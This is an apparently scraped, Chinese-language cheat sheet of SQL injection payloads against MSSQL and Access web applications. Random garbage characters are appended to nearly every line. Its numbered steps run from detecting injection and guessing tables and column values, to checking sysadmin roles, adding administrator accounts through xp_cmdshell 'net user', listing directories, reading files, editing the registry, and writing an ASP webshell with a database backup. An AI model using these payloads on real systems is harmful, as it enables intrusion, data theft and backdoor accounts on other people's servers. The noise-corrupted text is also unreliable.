1.判断是否有注入;and 1=1 ;and 1=2 U"G+su->e
2.初步判断是否是mssql ;and user>0 BPs
&
J)&+y;.
3.注入参数是字符'and [查询条件] and ''=' ,>%r|YSJ)
*iN]#)3>
4.搜索时没过滤参数的'and [查询条件] and '%25'=' t/BiZo|zl
I:7,CV
5.判断数据库系统 -~aEqj#?
6Z}))*3 9
;and (select count(*) from sysobjects)>0 mssql ~PvzUT-^
`d;izQ1_=
;and (select count(*) from msysobjects)>0 access .Bn2;nO
EqU[mqeF
$1
\!Oe[i
.F|WQ7Mu
6.猜数据库 ;and (select Count(*) from [数据库名])>0 8LKZ3Y|
lLf01sa4
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 @Oay$gP{T
C&"2`ll
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ~ ?_Z!eS
t$5]1dY$X
9.(1)猜字段的ascii值(access) U,(+rMeY0
Z'kYf
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 bW3o%srxa
iR =aYT~
(2)猜字段的ascii值(mssql) ~ZC=!|Q#
/T(~T
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 k&;L(D
6>A8#VT
10.测试权限结构(mssql) }
~bOP^'
ar}759
(3*Hl
>k-poBw
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- iB_j*mX]
A|-\C$
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- e5]0<s$
7FFYSv,[:
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }7v2GfEkM
aE$p;I
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- a5&j=3)|
5ZxBmQ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- )gF9D1eA
9R3=h5Y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- u^p[zepW\
03;(v%
;and 1=(select IS_MEMBER('db_owner'));-- /LzNr0>2
b)@x@3"O
#pFybk
M 4?3l
11.添加mssql和系统的帐户 V>SA3
tB7aHZ|
;exec master.dbo.sp_addlogin username;-- &6EfybAt^_
;exec master.dbo.sp_password null,username,password;-- Br??Gdd
SQk!o{
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ]x\wP7x
d(XWt;K K
;exec master.dbo.xp_cmdshell 'net user username password 96j2D8=w
VG^-aR_F
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- wH<*
1vb0G;a;|
;exec master.dbo.xp_cmdshell 'net user username password /add';-- >o7k%T|l$
3!x)LUWfWY
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )9->]U@
&YMj\KmlSg
uuB\~ #?T
\I]'6N=
12.(1)遍历目录 mqw.v$>
WI3!?>d
;create table dirs(paths varchar(100), id int) Bnv%W4
q<7n5kJ~
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2{N0. |5
0qd`Pf
;and (select top 1 paths from dirs)>0 `^[ra%a
kA0^~
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Lf9h;z>#
^g\%VIOD
f*Bc`+G
yvvR%]!.
(2)遍历目录 ER+[gT1CQ
bE"CSK#
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- uzD{ewR/.y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Mt`.|N;y!
[u:_Jqf-
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 S]m[$)U%@
~Ua0pS?
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 gy.;
"W
7Jk.U=vY
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 {`> x"Y5
x1h!_^(QfF
=JkSq J)?
T /uu='3
13.mssql中的存储过程 i%2K%5{)$D
:08UeEy
xp_regenumvalues 注册表根键, 子键 Iq *7F5B
W0k_"uI
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 2~ a4ib
ly2R8$Y`y`
xp_regread 根键,子键,键值名 7=9jXNk Y
]g :ZokU
;exec xp_regread uwJkqlUOz
s~CA
@
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 3L|k3 `I4
*h1@eJHMz
xp_regwrite 根键,子键, 值名, 值类型, 值 E
J1:N*BA
*KAuyJr
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 rxA<\h,A
P^UcpU,
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 uJizR
F
nYY U
xp_regdeletevalue 根键,子键,值名 6822xk
tp"\
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 e_SlM=_u
hS
Sq=(S
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ,ic}
.1;?#t]ZV
)I@iW\`7
`XQ5> c
14.mssql的backup创建webshell Sl1N V
Lfor0-j
use model cQjJ9o7
23PSv8;EM
create table cmd(str image); {#MViBhd%
xUYSD
insert into cmd(str) values (''); (@zn[Nq
TocqoYX{{
backup database model to disk='c:\l.asp'; k6XO-a f
X'Oo ogu
!jm
a --
G>b1No3%k
15.mssql内置函数 8}&cE#@
h!.(7qdd
;and (select @@version)>0 获得Windows的版本号 {|cA[#j#
`?:'_Ki
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 0)Z7U$
o?>)CAo
;and (select user_name())>0 爆当前系统的连接用户 N{'k
]&
4d O>L"
;and (select db_name())>0 得到当前连接的数据库 u4Sa4o
T!n<ya!
v'uQ'CiH
IKt9=Tx
16.简洁的webshell _Uq'eZol
=~)n,5
use model 2
UgjH
F~:5/-zs
create table cmd(str image); b$BUo8O}
z9gZ/d
insert into cmd(str) values (''); *\>&
+{s^"M2`
backup database model to disk='g:\wwwtest\l.asp';